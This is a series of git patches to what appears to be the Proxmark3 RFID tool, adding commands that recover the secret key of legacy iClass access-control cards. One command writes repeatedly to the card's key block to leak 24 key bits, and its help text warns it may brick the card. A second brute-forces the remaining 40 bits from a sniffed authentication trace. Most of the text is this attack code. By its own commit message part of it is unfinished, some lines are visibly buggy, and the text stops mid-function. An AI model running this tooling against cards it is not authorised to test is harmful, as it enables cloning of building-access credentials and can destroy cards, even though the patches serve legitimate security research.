From 1832997ccb1654507a76afcf159e2c895937af61 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 19 Jul 2024 14:47:13 +0800 Subject: [PATCH 01/10] Iclass Legacy Raw Key Recovery Function Based on the work described in Dismantling iClass whitepaper. hf iclass legbrute is tested working hf iclass legrec is partially working: logic of operations and sequence seems to be in order and was tested on simulated data to be effective. The privilege escalation part is still not successful, but the logic should be correct. --- CHANGELOG.md | 2 + armsrc/appmain.c | 4 + armsrc/iclass.c | 213 +++++++++++++++++++++++++++ armsrc/iclass.h | 6 + client/src/cmdhficlass.c | 300 +++++++++++++++++++++++++++++++++++++++ client/src/cmdhficlass.h | 3 + include/pm3_cmd.h | 1 + 7 files changed, 529 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 90358144a..8bc1502ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added MFC Key for swimming pool cards in Reykjavík Iceland (@dandri) - Added key for Orkan keyfobs (@dandri) - Added key for Atlantsolía keyfobs (@dandri) +- Added `hf iclass legbrute` this function allows to bruteforce 40/64 k1 bits of an iclass card to recover the raw key used(@antiklesys). +- Added `hf iclass legrec` this function allows to recover 24/64 k1 bits of an iclass card (@antiklesys). ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) - Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 41a21bbb0..d4faff5a1 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -2061,6 +2061,10 @@ static void PacketReceived(PacketCommandNG *packet) { iClass_Restore((iclass_restore_req_t *)packet->data.asBytes); break; } + case CMD_HF_ICLASS_RECOVER: { + iClass_Recover((iclass_recover_req_t *)packet->data.asBytes); + break; + } case CMD_HF_ICLASS_CREDIT_EPURSE: { iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes); break; diff --git a/armsrc/iclass.c b/armsrc/iclass.c index ca63c5c93..69ad6f951 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2152,3 +2152,216 @@ out: reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0); } } + +void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) { + uint32_t carry = index; + memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); + + for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { + uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry + keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0 + + carry >>= 3; // Shift right by 3 bits for the next byte + if (carry == 0) { + // If no more carry, break early to avoid unnecessary loops + break; + } + } +} +// Function to convert an unsigned int to binary string +void intToBinary(unsigned int num, char *binaryStr, int size) { + binaryStr[size] = '\0'; // Null-terminate the string + for (int i = size - 1; i >= 0; i--) { + binaryStr[i] = (num % 2) ? '1' : '0'; + num /= 2; + } +} + +// Function to convert a binary string to hexadecimal +uint8_t binaryToHex(char *binaryStr) { + return (uint8_t)strtoul(binaryStr, NULL, 2); +} + +// Function to convert an unsigned int to an array of hex values +void convertToHexArray(unsigned int num, uint8_t *partialKey) { + char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator + + // Convert the number to binary string + intToBinary(num, binaryStr, 24); + + // Split the binary string into groups of 3 and convert to hex + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + char group[4]; + strncpy(group, binaryStr + i * 3, 3); + group[3] = '\0'; // Null-terminate the group string + partialKey[i] = binaryToHex(group); + } +} + +void iClass_Recover(iclass_recover_req_t *msg) { + + bool shallow_mod = false; + + LED_A_ON(); + + Iso15693InitReader(); + //Authenticate with AA2 with the standard key to get the AA2 mac + //Step0 Card Select Routine + + uint32_t eof_time = 0; + picopass_hdr_t hdr = {0}; + bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod); + if (res == false) { + goto out; + } + + //Step1 Authenticate with AA2 using K2 + + uint8_t mac2[4] = {0}; + uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2); + if (res == false) { + goto out; + } + + uint8_t div_key2[8] = {0}; + memcpy(div_key2, hdr.key_c, 8); + + //cycle reader to reset cypher state and be able to authenticate with k1 trace + switch_off(); + Iso15693InitReader(); + + //Step0 Card Select Routine + + eof_time = 0; + //hdr = {0}; + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res == false) { + goto out; + } + + //Step1 Authenticate with AA1 using trace + + uint8_t mac1[4] = {0}; + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == false) { + goto out; + } + + //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 + uint8_t blockno = 24; + uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; + AddCrc(cmd_read + 1, 1); + uint8_t resp[10]; + + res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod); + + static uint8_t iClass_Mac_Table[8][8] = { //Reference weak macs table + { 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000 + { 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001 + { 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010 + { 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011 + { 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100 + { 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101 + { 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110 + { 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111 + }; + //Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number + static uint32_t iClass_Mac_Table_Bit_Values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; + + uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint32_t index = 1; + int bits_found = -1; + + //START LOOP + while (bits_found == -1){ + + //Step3 Calculate New Key + uint8_t GenKeyBlock[PICOPASS_BLOCK_SIZE]; + uint8_t GenKeyBlock_old[PICOPASS_BLOCK_SIZE]; + uint8_t XorKeyBlock[PICOPASS_BLOCK_SIZE]; + generate_single_key_block_inverted(zero_key, index, GenKeyBlock); + + //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED + //xor the new key against the previously generated key so that we only update the difference + if(index != 0){ + generate_single_key_block_inverted(zero_key, index - 1, GenKeyBlock_old); + for (int i = 0; i < 8 ; i++) { + XorKeyBlock[i] = GenKeyBlock[i] ^ GenKeyBlock_old[i]; + } + }else{ + memcpy(XorKeyBlock, GenKeyBlock, PICOPASS_BLOCK_SIZE); + } + + //Step4 Calculate New Mac + + bool use_mac = true; + uint8_t wb[9] = {0}; + blockno = 3; + wb[0] = blockno; + memcpy(wb + 1, XorKeyBlock, 8); + + doMAC_N(wb, sizeof(wb), div_key2, mac2); + + //Step5 Perform Write + + if (iclass_writeblock_ext(blockno, XorKeyBlock, mac2, use_mac, shallow_mod)) { + Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); + } else { + Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno); + goto out; + } + //Step6 Perform 8 authentication attempts + + for (int i = 0; i < 8 ; ++i) { + //need to craft the authentication payload accordingly + memcpy(msg->req.key, iClass_Mac_Table[i], 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //the mac here needs to be changed, mac 2 is a compiling placeholder + if (res == true) { + bits_found = iClass_Mac_Table_Bit_Values[i] ^ index; + Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index); + Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iClass_Mac_Table_Bit_Values[i]); + Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found); + goto restore; + } + } + + }//end while + + +restore: + ;//empty statement for compilation + uint8_t partialKey[PICOPASS_BLOCK_SIZE]; + convertToHexArray(bits_found, partialKey); + + for (int i = 0; i < 8; i++){ + Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialKey); + } + + uint8_t resetKey[PICOPASS_BLOCK_SIZE]; + convertToHexArray(index, resetKey); + + //Calculate reset Mac + + bool use_mac = true; + uint8_t wb[9] = {0}; + blockno = 3; + wb[0] = blockno; + memcpy(wb + 1, resetKey, 8); + + doMAC_N(wb, sizeof(wb), div_key2, mac2); + if (iclass_writeblock_ext(blockno, resetKey, mac2, use_mac, shallow_mod)) { + Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); + } else { + Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno); + } + switch_off(); + + +out: + + switch_off(); + + +} \ No newline at end of file diff --git a/armsrc/iclass.h b/armsrc/iclass.h index 4a71780bb..56030acc0 100644 --- a/armsrc/iclass.h +++ b/armsrc/iclass.h @@ -70,4 +70,10 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui uint8_t get_pagemap(const picopass_hdr_t *hdr); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); + +void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]); +void intToBinary(unsigned int num, char *binaryStr, int size); +uint8_t binaryToHex(char *binaryStr); +void convertToHexArray(unsigned int num, uint8_t *partialKey); +void iClass_Recover(iclass_recover_req_t *msg); #endif diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index eaa83aeaf..ad6ea39f0 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3842,6 +3842,304 @@ void picopass_elite_nextKey(uint8_t* key) { memcpy(key, key_state, 8); } +static int CmdHFiClassRecover(uint8_t key[8]) { + + uint32_t payload_size = sizeof(iclass_recover_req_t); + uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0xFD, 0xCB, 0x5A, 0x52, 0xEA, 0x8F, 0x30, 0x90}; + iclass_recover_req_t *payload = calloc(1, payload_size); + payload->req.use_raw = true; + payload->req.use_elite = false; + payload->req.use_credit_key = false; + payload->req.use_replay = true; + payload->req.send_reply = true; + payload->req.do_auth = true; + payload->req.shallow_mod = false; + payload->req2.use_raw = false; + payload->req2.use_elite = false; + payload->req2.use_credit_key = true; + payload->req2.use_replay = false; + payload->req2.send_reply = true; + payload->req2.do_auth = true; + payload->req2.shallow_mod = false; + memcpy(payload->req.key, key, 8); + memcpy(payload->req2.key, aa2_standard_key, 8); + + PrintAndLogEx(INFO, "Recover started..."); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size); + + if (WaitForResponseTimeout(CMD_HF_ICLASS_RECOVER, &resp, 2500) == 0) { + PrintAndLogEx(WARNING, "command execute timeout"); + DropField(); + free(payload); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful")); + } else { + PrintAndLogEx(WARNING, "iCLASS Recover " _RED_("failed")); + } + + free(payload); + return resp.status; +} + +typedef struct { + uint32_t start_index; + uint32_t keycount; + const uint8_t *startingKey; + uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE]; +} ThreadData; + +void *generate_key_blocks(void *arg) { + ThreadData *data = (ThreadData *)arg; + uint32_t start_index = data->start_index; + uint32_t keycount = data->keycount; + const uint8_t *startingKey = data->startingKey; + uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock; + + for (uint32_t i = 0; i < keycount; i++) { + uint32_t carry = start_index + i; + memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE); + + for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { + uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry + keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits + + carry >>= 5; // Shift right by 5 bits for the next byte + if (carry == 0) { + // If no more carry, break early to avoid unnecessary loops + break; + } + } + } + + return NULL; +} + +void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) { + uint32_t carry = index; + memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); + + for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { + uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry + keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0 + + carry >>= 3; // Shift right by 3 bits for the next byte + if (carry == 0) { + // If no more carry, break early to avoid unnecessary loops + break; + } + } +} + +static int CmdHFiClassLegRecLookUp(const char *Cmd) { + + //Standalone Command Start + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass legbrute", + "This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.", + "hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225" + ); + + void *argtable[] = { + arg_param_begin, + arg_str1(NULL, "csn", "", "Specify CSN as 8 hex bytes"), + arg_str1(NULL, "epurse", "", "Specify ePurse as 8 hex bytes"), + arg_str1(NULL, "macs", "", "MACs"), + arg_str1(NULL, "pk", "", "Partial Key"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int csn_len = 0; + uint8_t csn[8] = {0}; + CLIGetHexWithReturn(ctx, 1, csn, &csn_len); + + if (csn_len > 0) { + if (csn_len != 8) { + PrintAndLogEx(ERR, "CSN is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int epurse_len = 0; + uint8_t epurse[8] = {0}; + CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len); + + if (epurse_len > 0) { + if (epurse_len != 8) { + PrintAndLogEx(ERR, "ePurse is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int macs_len = 0; + uint8_t macs[8] = {0}; + CLIGetHexWithReturn(ctx, 3, macs, &macs_len); + + if (macs_len > 0) { + if (macs_len != 8) { + PrintAndLogEx(ERR, "MAC is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int startingkey_len = 0; + uint8_t startingKey[8] = {0}; + CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len); + + if (startingkey_len > 0) { + if (startingkey_len != 8) { + PrintAndLogEx(ERR, "Partial Key is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + CLIParserFree(ctx); + //Standalone Command End + + uint8_t CCNR[12]; + uint8_t MAC_TAG[4] = {0, 0, 0, 0}; + + // Copy CCNR and MAC_TAG + memcpy(CCNR, epurse, 8); + memcpy(CCNR + 8, macs, 4); + memcpy(MAC_TAG, macs + 4, 4); + + PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8)); + PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8)); + PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8)); + PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); + PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); + PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8)); + + uint32_t keycount = 1000000; + uint32_t keys_per_thread = 200000; + uint32_t num_threads = keycount / keys_per_thread; + pthread_t threads[num_threads]; + ThreadData thread_data[num_threads]; + iclass_prekey_t *prekey = NULL; + iclass_prekey_t lookup; + iclass_prekey_t *item = NULL; + + memcpy(lookup.mac, MAC_TAG, 4); + + uint32_t block_index = 0; + + while (item == NULL) { + for (uint32_t t = 0; t < num_threads; t++) { + thread_data[t].start_index = block_index * keycount + t * keys_per_thread; + thread_data[t].keycount = keys_per_thread; + thread_data[t].startingKey = startingKey; + thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE); + + if (thread_data[t].keyBlock == NULL) { + PrintAndLogEx(ERROR, "Memory allocation failed for keyBlock in thread %d.", t); + for (uint32_t i = 0; i < t; i++) { + free(thread_data[i].keyBlock); + } + return PM3_EINVARG; + } + + pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]); + } + + for (uint32_t t = 0; t < num_threads; t++) { + pthread_join(threads[t], NULL); + } + + if (prekey == NULL) { + prekey = calloc(keycount, sizeof(iclass_prekey_t)); + } else { + prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t)); + } + + if (prekey == NULL) { + PrintAndLogEx(ERROR, "Memory allocation failed for prekey."); + for (uint32_t t = 0; t < num_threads; t++) { + free(thread_data[t].keyBlock); + } + return PM3_EINVARG; + } + + PrintAndLogEx(INFO, "Generating diversified keys..."); + for (uint32_t t = 0; t < num_threads; t++) { + GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread)); + } + + PrintAndLogEx(INFO, "Sorting..."); + + // Sort mac list + qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32); + + PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); + + // Binary search + item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32); + + for (uint32_t t = 0; t < num_threads; t++) { + free(thread_data[t].keyBlock); + } + + block_index++; + } + + if (item != NULL) { + PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8)); + } + + free(prekey); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + + +static int CmdHFiClassLegacyRecover(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass legrec", + "Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!", + "hf iclass legrec --macs 0000000089cb984b" + ); + + void *argtable[] = { + arg_param_begin, + arg_str1(NULL, "macs", "", "MACs"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int macs_len = 0; + uint8_t macs[8] = {0}; + CLIGetHexWithReturn(ctx, 1, macs, &macs_len); + + if (macs_len > 0) { + if (macs_len != 8) { + PrintAndLogEx(ERR, "MAC is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + CLIParserFree(ctx); + + CmdHFiClassRecover(macs); + + PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found.")); + + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; + +} + static int CmdHFiClassLookUp(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass lookup", @@ -4738,6 +5036,8 @@ static command_t CommandTable[] = { {"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"}, {"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"}, {"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, + {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"}, + {"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, diff --git a/client/src/cmdhficlass.h b/client/src/cmdhficlass.h index b3b0844ab..8bbab9216 100644 --- a/client/src/cmdhficlass.h +++ b/client/src/cmdhficlass.h @@ -42,4 +42,7 @@ void picopass_elite_reset(void); uint32_t picopass_elite_rng(void); uint32_t picopass_elite_lcg(void); uint8_t picopass_elite_nextByte(void); + +void *generate_key_blocks(void *arg); +void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]); #endif diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 10fe7a81a..6536f4b66 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -630,6 +630,7 @@ typedef struct { #define CMD_HF_ICLASS_CHKKEYS 0x039A #define CMD_HF_ICLASS_RESTORE 0x039B #define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C +#define CMD_HF_ICLASS_RECOVER 0x039D // For ISO1092 / FeliCa From c7541790f8d0235bbc2c2705b34a0f3f700f51ba Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 19 Jul 2024 14:54:52 +0800 Subject: [PATCH 02/10] Update iclass_cmd.h --- include/iclass_cmd.h | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index e7e1d0cd3..bb7b6193a 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -105,6 +105,11 @@ typedef struct { iclass_restore_item_t blocks[]; } PACKED iclass_restore_req_t; +typedef struct { + iclass_auth_req_t req; + iclass_auth_req_t req2; +} PACKED iclass_recover_req_t; + typedef struct iclass_premac { uint8_t mac[4]; } PACKED iclass_premac_t; From a127a38cb69b3e7f5e722c8155edc58e4f6bc12d Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 19 Jul 2024 18:27:36 +0800 Subject: [PATCH 03/10] Updated some as per iceman's comments Made multiple changes as per iceman's comments. Removed redundant/unused function i forgot into cmdhficlass.c Moved conversion functions in util.c for now but haven't yet check if it's possible to reuse the current fuctions already there. Will do that in a moment. --- armsrc/iclass.c | 55 ++++++++++------------------------------ armsrc/iclass.h | 5 +--- armsrc/util.c | 30 ++++++++++++++++++++++ armsrc/util.h | 4 +++ client/src/cmdhficlass.c | 19 ++------------ client/src/cmdhficlass.h | 2 -- 6 files changed, 50 insertions(+), 65 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 69ad6f951..cd28350bf 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2153,7 +2153,7 @@ out: } } -void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) { +void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { uint32_t carry = index; memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); @@ -2168,35 +2168,6 @@ void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK } } } -// Function to convert an unsigned int to binary string -void intToBinary(unsigned int num, char *binaryStr, int size) { - binaryStr[size] = '\0'; // Null-terminate the string - for (int i = size - 1; i >= 0; i--) { - binaryStr[i] = (num % 2) ? '1' : '0'; - num /= 2; - } -} - -// Function to convert a binary string to hexadecimal -uint8_t binaryToHex(char *binaryStr) { - return (uint8_t)strtoul(binaryStr, NULL, 2); -} - -// Function to convert an unsigned int to an array of hex values -void convertToHexArray(unsigned int num, uint8_t *partialKey) { - char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator - - // Convert the number to binary string - intToBinary(num, binaryStr, 24); - - // Split the binary string into groups of 3 and convert to hex - for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { - char group[4]; - strncpy(group, binaryStr + i * 3, 3); - group[3] = '\0'; // Null-terminate the group string - partialKey[i] = binaryToHex(group); - } -} void iClass_Recover(iclass_recover_req_t *msg) { @@ -2280,7 +2251,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { //Step3 Calculate New Key uint8_t GenKeyBlock[PICOPASS_BLOCK_SIZE]; uint8_t GenKeyBlock_old[PICOPASS_BLOCK_SIZE]; - uint8_t XorKeyBlock[PICOPASS_BLOCK_SIZE]; + uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE]; generate_single_key_block_inverted(zero_key, index, GenKeyBlock); //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED @@ -2288,10 +2259,10 @@ void iClass_Recover(iclass_recover_req_t *msg) { if(index != 0){ generate_single_key_block_inverted(zero_key, index - 1, GenKeyBlock_old); for (int i = 0; i < 8 ; i++) { - XorKeyBlock[i] = GenKeyBlock[i] ^ GenKeyBlock_old[i]; + xorkeyblock[i] = GenKeyBlock[i] ^ GenKeyBlock_old[i]; } }else{ - memcpy(XorKeyBlock, GenKeyBlock, PICOPASS_BLOCK_SIZE); + memcpy(xorkeyblock, GenKeyBlock, PICOPASS_BLOCK_SIZE); } //Step4 Calculate New Mac @@ -2300,13 +2271,13 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t wb[9] = {0}; blockno = 3; wb[0] = blockno; - memcpy(wb + 1, XorKeyBlock, 8); + memcpy(wb + 1, xorkeyblock, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2); //Step5 Perform Write - if (iclass_writeblock_ext(blockno, XorKeyBlock, mac2, use_mac, shallow_mod)) { + if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) { Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); } else { Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno); @@ -2332,15 +2303,15 @@ void iClass_Recover(iclass_recover_req_t *msg) { restore: ;//empty statement for compilation - uint8_t partialKey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(bits_found, partialKey); + uint8_t partialkey[PICOPASS_BLOCK_SIZE]; + convertToHexArray(bits_found, partialkey); for (int i = 0; i < 8; i++){ - Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialKey); + Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialkey); } - uint8_t resetKey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(index, resetKey); + uint8_t resetkey[PICOPASS_BLOCK_SIZE]; + convertToHexArray(index, resetkey); //Calculate reset Mac @@ -2348,10 +2319,10 @@ restore: uint8_t wb[9] = {0}; blockno = 3; wb[0] = blockno; - memcpy(wb + 1, resetKey, 8); + memcpy(wb + 1, resetkey, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2); - if (iclass_writeblock_ext(blockno, resetKey, mac2, use_mac, shallow_mod)) { + if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) { Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); } else { Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno); diff --git a/armsrc/iclass.h b/armsrc/iclass.h index 56030acc0..1480ef56c 100644 --- a/armsrc/iclass.h +++ b/armsrc/iclass.h @@ -71,9 +71,6 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui uint8_t get_pagemap(const picopass_hdr_t *hdr); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); -void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]); -void intToBinary(unsigned int num, char *binaryStr, int size); -uint8_t binaryToHex(char *binaryStr); -void convertToHexArray(unsigned int num, uint8_t *partialKey); +void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock); void iClass_Recover(iclass_recover_req_t *msg); #endif diff --git a/armsrc/util.c b/armsrc/util.c index 89a5d598b..2c7f6bc49 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -395,3 +395,33 @@ uint32_t flash_size_from_cidr(uint32_t cidr) { uint32_t get_flash_size(void) { return flash_size_from_cidr(*AT91C_DBGU_CIDR); } + +// Function to convert an unsigned int to binary string +void intToBinary(uint8_t num, char *binaryStr, int size) { + binaryStr[size] = '\0'; // Null-terminate the string + for (int i = size - 1; i >= 0; i--) { + binaryStr[i] = (num % 2) ? '1' : '0'; + num /= 2; + } +} + +// Function to convert a binary string to hexadecimal +uint8_t binaryToHex(char *binaryStr) { + return (uint8_t)strtoul(binaryStr, NULL, 2); +} + +// Function to convert an unsigned int to an array of hex values +void convertToHexArray(uint8_t num, 